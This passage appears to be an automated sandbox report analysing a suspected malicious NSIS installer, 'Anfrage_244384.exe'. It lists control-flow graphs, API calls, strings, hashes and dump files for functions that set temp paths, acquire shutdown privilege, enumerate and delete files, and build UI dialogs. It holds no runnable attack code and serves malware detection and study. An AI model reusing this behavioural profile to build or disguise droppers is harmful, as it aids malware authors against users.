405de5 DeleteFileA 108->112 115 4035ba-4035c1 112->115 116 40357b-40358b CopyFileA 112->116 115->112 117 4035c3-4035ca call 405c7e 115->117 116->115 118 40358d-4035a6 call 405c7e call 405de5 call 405554 116->118 117->52 126 4035ab-4035ad 118->126 126->115 127 4035af-4035b6 CloseHandle 126->127 127->115
                                                        APIs
                                                        • SetErrorMode.KERNELBASE ref: 004031C8
                                                        • GetVersion.KERNEL32 ref: 004031CE
                                                        • lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004031F7
                                                        • #17.COMCTL32(00000007,00000009), ref: 00403219
                                                        • OleInitialize.OLE32(00000000), ref: 00403220
                                                        • SHGetFileInfoA.SHELL32(00429828,00000000,?,00000160,00000000), ref: 0040323C
                                                        • GetCommandLineA.KERNEL32(Debutromaners241 Setup,NSIS Error), ref: 00403251
                                                        • GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\Anfrage_244384.exe",00000000), ref: 00403264
                                                        • CharNextA.USER32(00000000,"C:\Users\user\Desktop\Anfrage_244384.exe",00000020), ref: 0040328F
                                                        • GetTempPathA.KERNELBASE(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 0040338C
                                                        • GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040339D
                                                        • lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004033A9
                                                        • GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004033BD
                                                        • lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004033C5
                                                        • SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 004033D6
                                                        • SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 004033DE
                                                        • DeleteFileA.KERNELBASE(1033), ref: 004033F2
                                                          • Part of subcall function 0040615C: GetModuleHandleA.KERNEL32(?,?,?,0040320D,00000009), ref: 0040616E
                                                          • Part of subcall function 0040615C: GetProcAddress.KERNEL32(00000000,?), ref: 00406189
                                                        • OleUninitialize.OLE32(?), ref: 004034A0
                                                        • ExitProcess.KERNEL32 ref: 004034C1
                                                        • GetCurrentProcess.KERNEL32(00000028,?), ref: 004035DE
                                                        • OpenProcessToken.ADVAPI32(00000000), ref: 004035E5
                                                        • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004035FD
                                                        • AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 0040361C
                                                        • ExitWindowsEx.USER32(00000002,80040002), ref: 00403640
                                                        • ExitProcess.KERNEL32 ref: 00403663
                                                          • Part of subcall function 004055B9: MessageBoxIndirectA.USER32(0040A218), ref: 00405614
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Process$Exit$EnvironmentFileHandleModulePathTempTokenVariableWindowslstrcat$AddressAdjustCharCommandCurrentDeleteDirectoryErrorIndirectInfoInitializeLineLookupMessageModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrlen
                                                        • String ID: "$"C:\Users\user\Desktop\Anfrage_244384.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\secretaryships$C:\Users\user\AppData\Roaming\secretaryships\Angoragedernes$C:\Users\user\Desktop$C:\Users\user\Desktop\Anfrage_244384.exe$Debutromaners241 Setup$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$`KXu$~nsu
                                                        • API String ID: 3329125770-1563656399
                                                        • Opcode ID: c1f9194aaabd033ec7754895e46d654ced239fcc03380315cc0212c25b4d743a
                                                        • Instruction ID: 865bae31cffe44a71533f85cac42dc3cbe617e6c2420eff4fa764eab91bf8bd9
                                                        • Opcode Fuzzy Hash: c1f9194aaabd033ec7754895e46d654ced239fcc03380315cc0212c25b4d743a
                                                        • Instruction Fuzzy Hash: 78C10530104741AAD721BF759D59A2F3EA9EF4530AF44443FF581B61E2CB7C8A058B6E
                                                        Function 00404959 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 128 404959-4049a5 GetDlgItem * 2 129 404bc5-404bcc 128->129 130 4049ab-404a3f GlobalAlloc LoadBitmapA SetWindowLongA ImageList_Create ImageList_AddMasked SendMessageA * 2 128->130 131 404be0 129->131 132 404bce-404bde 129->132 133 404a41-404a4c SendMessageA 130->133 134 404a4e-404a55 DeleteObject 130->134 135 404be3-404bec 131->135 132->135 133->134 136 404a57-404a5f 134->136 137 404bf7-404bfd 135->137 138 404bee-404bf1 135->138 139 404a61-404a64 136->139 140 404a88-404a8c 136->140 144 404c0c-404c13 137->144 145 404bff-404c06 137->145 138->137 141 404cdb-404ce2 138->141 142 404a66 139->142 143 404a69-404a86 call 405de5 SendMessageA * 2 139->143 140->136 146 404a8e-404aba call 403fa8 * 2 140->146 151 404d53-404d5b 141->151 152 404ce4-404cea 141->152 142->143 143->140 148 404c15-404c18 144->148 149 404c88-404c8b 144->149 145->141 145->144 184 404ac0-404ac6 146->184 185 404b84-404b97 GetWindowLongA SetWindowLongA 146->185 157 404c23-404c38 call 4048a7 148->157 158 404c1a-404c21 148->158 149->141 153 404c8d-404c97 149->153 155 404d65-404d6c 151->155 156 404d5d-404d63 SendMessageA 151->156 160 404cf0-404cfa 152->160 161 404f3b-404f4d call 40400f 152->161 163 404ca7-404cb1 153->163 164 404c99-404ca5 SendMessageA 153->164 165 404da0-404da7 155->165 166 404d6e-404d75 155->166 156->155 157->149 183 404c3a-404c4b 157->183 158->149 158->157 160->161 169 404d00-404d0f SendMessageA 160->169 163->141 171 404cb3-404cbd 163->171 164->163 176 404efd-404f04 165->176 177 404dad-404db9 call 4011ef 165->177 172 404d77-404d78 ImageList_Destroy 166->172 173 404d7e-404d85 166->173 169->161 178 404d15-404d26 SendMessageA 169->178 179 404cce-404cd8 171->179 180 404cbf-404ccc 171->180 172->173 181 404d87-404d88 GlobalFree 173->181 182 404d8e-404d9a 173->182 176->161 189 404f06-404f0d 176->189 203 404dc9-404dcc 177->203 204 404dbb-404dbe 177->204 187 404d30-404d32 178->187 188 404d28-404d2e 178->188 179->141 180->141 181->182 182->165 183->149 192 404c4d-404c4f 183->192 193 404ac9-404acf 184->193 191 404b9d-404ba1 185->191 195 404d33-404d4c call 401299 SendMessageA 187->195 188->187 188->195 189->161 190 404f0f-404f39 ShowWindow GetDlgItem ShowWindow 189->190 190->161 197 404ba3-404bb6 ShowWindow call 403fdd 191->197 198 404bbb-404bc3 call 403fdd 191->198 199 404c51-404c58 192->199 200 404c62 192->200 201 404b65-404b78 193->201 202 404ad5-404afd 193->202 195->151 197->161 198->129 211 404c5a-404c5c 199->211 212 404c5e-404c60 199->212 215 404c65-404c81 call 40117d 200->215 201->193 206 404b7e-404b82 201->206 213 404b37-404b39 202->213 214 404aff-404b35 SendMessageA 202->214 207 404e0d-404e31 call 4011ef 203->207 208 404dce-404de7 call 4012e2 call 401299 203->208 216 404dc0 204->216 217 404dc1-404dc4 call 404927 204->217 206->185 206->191 230 404ed3-404ee7 InvalidateRect 207->230 231 404e37 207->231 238 404df7-404e06 SendMessageA 208->238 239 404de9-404def 208->239 211->215 212->215 218 404b3b-404b4a SendMessageA 213->218 219 404b4c-404b62 SendMessageA 213->219 214->201 215->149 216->217 217->203 218->201 219->201 230->176 234 404ee9-404ef8 call 40487a call 404862 230->234 232 404e3a-404e45 231->232 235 404e47-404e56 232->235 236 404ebb-404ecd 232->236 234->176 240 404e58-404e65 235->240 241 404e69-404e6c 235->241 236->230 236->232 238->207 242 404df1 239->242 243 404df2-404df5 239->243 240->241 245 404e73-404e7c 241->245 246 404e6e-404e71 241->246 242->243 243->238 243->239 248 404e81-404eb9 SendMessageA * 2 245->248 249 404e7e 245->249 246->248 248->236 249->248
                                                        APIs
                                                        • GetDlgItem.USER32(?,000003F9), ref: 00404971
                                                        • GetDlgItem.USER32(?,00000408), ref: 0040497C
                                                        • GlobalAlloc.KERNEL32(00000040,?), ref: 004049C6
                                                        • LoadBitmapA.USER32(0000006E), ref: 004049D9
                                                        • SetWindowLongA.USER32(?,000000FC,00404F50), ref: 004049F2
                                                        • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A06
                                                        • ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404A18
                                                        • SendMessageA.USER32(?,00001109,00000002), ref: 00404A2E
                                                        • SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404A3A
                                                        • SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404A4C
                                                        • DeleteObject.GDI32(00000000), ref: 00404A4F
                                                        • SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404A7A
                                                        • SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404A86
                                                        • SendMessageA.USER32(?,00001100,00000000,?), ref: 00404B1B
                                                        • SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 00404B46
                                                        • SendMessageA.USER32(?,00001100,00000000,?), ref: 00404B5A
                                                        • GetWindowLongA.USER32(?,000000F0), ref: 00404B89
                                                        • SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404B97
                                                        • ShowWindow.USER32(?,00000005), ref: 00404BA8
                                                        • SendMessageA.USER32(?,00000419,00000000,?), ref: 00404CA5
                                                        • SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404D0A
                                                        • SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404D1F
                                                        • SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404D43
                                                        • SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404D63
                                                        • ImageList_Destroy.COMCTL32(?), ref: 00404D78
                                                        • GlobalFree.KERNEL32(?), ref: 00404D88
                                                        • SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404E01
                                                        • SendMessageA.USER32(?,00001102,?,?), ref: 00404EAA
                                                        • SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404EB9
                                                        • InvalidateRect.USER32(?,00000000,00000001), ref: 00404ED9
                                                        • ShowWindow.USER32(?,00000000), ref: 00404F27
                                                        • GetDlgItem.USER32(?,000003FE), ref: 00404F32
                                                        • ShowWindow.USER32(00000000), ref: 00404F39
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
                                                        • String ID: $M$N
                                                        • API String ID: 1638840714-813528018
                                                        • Opcode ID: 4315433588f7ee8e45bd5ba278d1dd566df0f8305feb02016673aa1b72d95d64
                                                        • Instruction ID: 74b4d15ca57fbdec2c0db9e6478e75b59205225842bd8ef9acc4dc7b15762c80
                                                        • Opcode Fuzzy Hash: 4315433588f7ee8e45bd5ba278d1dd566df0f8305feb02016673aa1b72d95d64
                                                        • Instruction Fuzzy Hash: A30292B0A00209AFEF209F65DD45AAE7BB5FB84315F10853AF610B62E1C7789D52CF58
                                                        Function 10001A5D Relevance: 20.0, APIs: 13, Instructions: 540stringmemoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 10001215: GlobalAlloc.KERNEL32(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D
                                                        • GlobalAlloc.KERNELBASE(00000040,000014A4), ref: 10001B67
                                                        • lstrcpyA.KERNEL32(00000008,?), ref: 10001BAF
                                                        • lstrcpyA.KERNEL32(00000408,?), ref: 10001BB9
                                                        • GlobalFree.KERNEL32(00000000), ref: 10001BCC
                                                        • GlobalFree.KERNEL32(?), ref: 10001CC4
                                                        • GlobalFree.KERNEL32(?), ref: 10001CC9
                                                        • GlobalFree.KERNEL32(?), ref: 10001CCE
                                                        • GlobalFree.KERNEL32(00000000), ref: 10001E76
                                                        • lstrcpyA.KERNEL32(?,?), ref: 10001FCA
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1987011203.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                        • Associated: 00000000.00000002.1986995979.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.1987028982.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.1987044483.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_10000000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Global$Free$lstrcpy$Alloc
                                                        • String ID:
                                                        • API String ID: 4227406936-0
                                                        • Opcode ID: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
                                                        • Instruction ID: 780798ea066e4ece118e8e5fed0bf18c828ec290136deaf2e43fc5d0554b8685
                                                        • Opcode Fuzzy Hash: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
                                                        • Instruction Fuzzy Hash: 17129971D0424ADFFB20CFA4C8847EEBBF4FB043C4F61852AD5A1A2199DB749A81CB51
                                                        Function 00405DE5 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 199stringCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 694 405de5-405df0 695 405df2-405e01 694->695 696 405e03-405e18 694->696 695->696 697 40600b-40600f 696->697 698 405e1e-405e29 696->698 699 406015-40601f 697->699 700 405e3b-405e45 697->700 698->697 701 405e2f-405e36 698->701 702 406021-406025 call 405dc3 699->702 703 40602a-40602b 699->703 700->699 704 405e4b-405e52 700->704 701->697 702->703 706 405e58-405e8d 704->706 707 405ffe 704->707 708 405e93-405e9e GetVersion 706->708 709 405fa8-405fab 706->709 710 406000-406006 707->710 711 406008-40600a 707->711 712 405ea0-405ea4 708->712 713 405eb8 708->713 714 405fdb-405fde 709->714 715 405fad-405fb0 709->715 710->697 711->697 712->713 716 405ea6-405eaa 712->716 719 405ebf-405ec6 713->719 720 405fe0-405fe7 call 405de5 714->720 721 405fec-405ffc lstrlenA 714->721 717 405fc0-405fcc call 405dc3 715->717 718 405fb2-405fbe call 405d21 715->718 716->713 722 405eac-405eb0 716->722 732 405fd1-405fd7 717->732 718->732 724 405ec8-405eca 719->724 725 405ecb-405ecd 719->725 720->721 721->697 722->713 728 405eb2-405eb6 722->728 724->725 730 405f06-405f09 725->730 731 405ecf-405eea call 405caa 725->731 728->719 733 405f19-405f1c 730->733 734 405f0b-405f17 GetSystemDirectoryA 730->734 740 405eef-405ef2 731->740 732->721 736 405fd9 732->736 738 405f86-405f88 733->738 739 405f1e-405f2c GetWindowsDirectoryA 733->739 737 405f8a-405f8d 734->737 741 405fa0-405fa6 call 40602e 736->741 737->741 745 405f8f-405f93 737->745 738->737 743 405f2e-405f38 738->743 739->738 744 405ef8-405f01 call 405de5 740->744 740->745 741->721 747 405f52-405f68 SHGetSpecialFolderLocation 743->747 748 405f3a-405f3d 743->748 744->737 745->741 750 405f95-405f9b lstrcatA 745->750 752 405f83 747->752 753 405f6a-405f81 SHGetPathFromIDListA CoTaskMemFree 747->753 748->747 751 405f3f-405f46 748->751 750->741 755 405f4e-405f50 751->755 752->738 753->737 753->752 755->737 755->747
                                                        APIs
                                                        • GetVersion.KERNEL32(?,0042A048,00000000,00405014,0042A048,00000000), ref: 00405E96
                                                        • GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 00405F11
                                                        • GetWindowsDirectoryA.KERNEL32(Call,00000400), ref: 00405F24
                                                        • SHGetSpecialFolderLocation.SHELL32(?,0041C020), ref: 00405F60
                                                        • SHGetPathFromIDListA.SHELL32(0041C020,Call), ref: 00405F6E
                                                        • CoTaskMemFree.OLE32(0041C020), ref: 00405F79
                                                        • lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00405F9B
                                                        • lstrlenA.KERNEL32(Call,?,0042A048,00000000,00405014,0042A048,00000000), ref: 00405FED
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
                                                        • String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
                                                        • API String ID: 900638850-1230650788
                                                        • Opcode ID: fcec94f82e88fcce29c7e60c56cd8c103032a989a52b9d99fcd4bfd562cc5ef6
                                                        • Instruction ID: dce6f903095129fb599a93a9a66318a4e9c512c80ea25934a290623bed19ebbf
                                                        • Opcode Fuzzy Hash: fcec94f82e88fcce29c7e60c56cd8c103032a989a52b9d99fcd4bfd562cc5ef6
                                                        • Instruction Fuzzy Hash: 2F611271A04A02AEEB209B24DD84BBF7BA8DB15314F50813FE942B62D1D37D49429F5E
                                                        Function 00405665 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159filestringCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 756 405665-40568b call 405923 759 4056a4-4056ab 756->759 760 40568d-40569f DeleteFileA 756->760 762 4056ad-4056af 759->762 763 4056be-4056ce call 405dc3 759->763 761 40582e-405832 760->761 764 4056b5-4056b8 762->764 765 4057dc-4057e1 762->765 771 4056d0-4056db lstrcatA 763->771 772 4056dd-4056de call 40587c 763->772 764->763 764->765 765->761 767 4057e3-4057e6 765->767 769 4057f0-4057f8 call 4060c7 767->769 770 4057e8-4057ee 767->770 769->761 780 4057fa-40580e call 405835 call 40561d 769->780 770->761 774 4056e3-4056e6 771->774 772->774 776 4056f1-4056f7 lstrcatA 774->776 777 4056e8-4056ef 774->777 779 4056fc-40571a lstrlenA FindFirstFileA 776->779 777->776 777->779 781 405720-405737 call 405860 779->781 782 4057d2-4057d6 779->782 795 405810-405813 780->795 796 405826-405829 call 404fdc 780->796 789 405742-405745 781->789 790 405739-40573d 781->790 782->765 784 4057d8 782->784 784->765 793 405747-40574c 789->793 794 405758-405766 call 405dc3 789->794 790->789 792 40573f 790->792 792->789 799 4057b1-4057c3 FindNextFileA 793->799 800 40574e-405750 793->800 806 405768-405770 794->806 807 40577d-405788 call 40561d 794->807 795->770 797 405815-405824 call 404fdc call 405c7e 795->797 796->761 797->761 799->781 803 4057c9-4057cc FindClose 799->803 800->794 804 405752-405756 800->804 803->782 804->794 804->799 806->799 809 405772-40577b call 405665 806->809 816 4057a9-4057ac call 404fdc 807->816 817 40578a-40578d 807->817 809->799 816->799 818 4057a1-4057a7 817->818 819 40578f-40579f call 404fdc call 405c7e 817->819 818->799 819->799
                                                        APIs
                                                        • DeleteFileA.KERNELBASE(?,?,75573410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040568E
                                                        • lstrcatA.KERNEL32(0042B870,\*.*,0042B870,?,?,75573410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004056D6
                                                        • lstrcatA.KERNEL32(?,0040A014,?,0042B870,?,?,75573410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004056F7
                                                        • lstrlenA.KERNEL32(?,?,0040A014,?,0042B870,?,?,75573410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004056FD
                                                        • FindFirstFileA.KERNEL32(0042B870,?,?,?,0040A014,?,0042B870,?,?,75573410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040570E
                                                        • FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 004057BB
                                                        • FindClose.KERNEL32(00000000), ref: 004057CC
                                                        Strings
                                                        • "C:\Users\user\Desktop\Anfrage_244384.exe", xrefs: 00405665
                                                        • \*.*, xrefs: 004056D0
                                                        • C:\Users\user\AppData\Local\Temp\, xrefs: 00405672
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
                                                        • String ID: "C:\Users\user\Desktop\Anfrage_244384.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
                                                        • API String ID: 2035342205-2556201211
                                                        • Opcode ID: 35f83909ae11c9f79d6b7d90eabebb09b3e9f21799a89a441620f803e9e91570
                                                        • Instruction ID: 999a98db12b4221591f7ee6b6052c292a74d4854a5648a1040a4d82dc32c8f45
                                                        • Opcode Fuzzy Hash: 35f83909ae11c9f79d6b7d90eabebb09b3e9f21799a89a441620f803e9e91570
                                                        • Instruction Fuzzy Hash: 2B51D531800A48EADB216B61CC85BBF7A78DF42354F64817BF845721D2C73C4952EE6D
                                                        Function 004060C7 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • FindFirstFileA.KERNELBASE(75573410,0042C0B8,0042BC70,00405966,0042BC70,0042BC70,00000000,0042BC70,0042BC70,75573410,?,C:\Users\user\AppData\Local\Temp\,00405685,?,75573410,C:\Users\user\AppData\Local\Temp\), ref: 004060D2
                                                        • FindClose.KERNELBASE(00000000), ref: 004060DE
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Find$CloseFileFirst
                                                        • String ID:
                                                        • API String ID: 2295610775-0
                                                        • Opcode ID: 7d865761c494c6b641247bef0bb2c924160845ff3ef93fdcf2db6d5e6c47237c
                                                        • Instruction ID: 7bd6a1ee080489a50caeda4c967685e5e64830a7ebee4117dda32410da358e49
                                                        • Opcode Fuzzy Hash: 7d865761c494c6b641247bef0bb2c924160845ff3ef93fdcf2db6d5e6c47237c
                                                        • Instruction Fuzzy Hash: 5FD012316854309BC21097786D0C84B7A589F19331711CB37F4A6F11F0CB34CC66869D
                                                        Function 0040270B Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • FindFirstFileA.KERNELBASE(00000000,?,00000002), ref: 0040271A
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: FileFindFirst
                                                        • String ID:
                                                        • API String ID: 1974802433-0
                                                        • Opcode ID: 9221aa77ab26fe255a706fdbb407d63210ae3e038afe0839ecce60615a5a5cc7
                                                        • Instruction ID: c78e1de3aafbb837fdaa481cd05ce35d28cdafaef4a854467420e3d3da5db3c0
                                                        • Opcode Fuzzy Hash: 9221aa77ab26fe255a706fdbb407d63210ae3e038afe0839ecce60615a5a5cc7
                                                        • Instruction Fuzzy Hash: 18F0A7726041159BD710EBA49A49DEEB778DF15324F60417BF181B20C1D6B84A469B2A
                                                        Function 00403AD5 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345windowstringCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
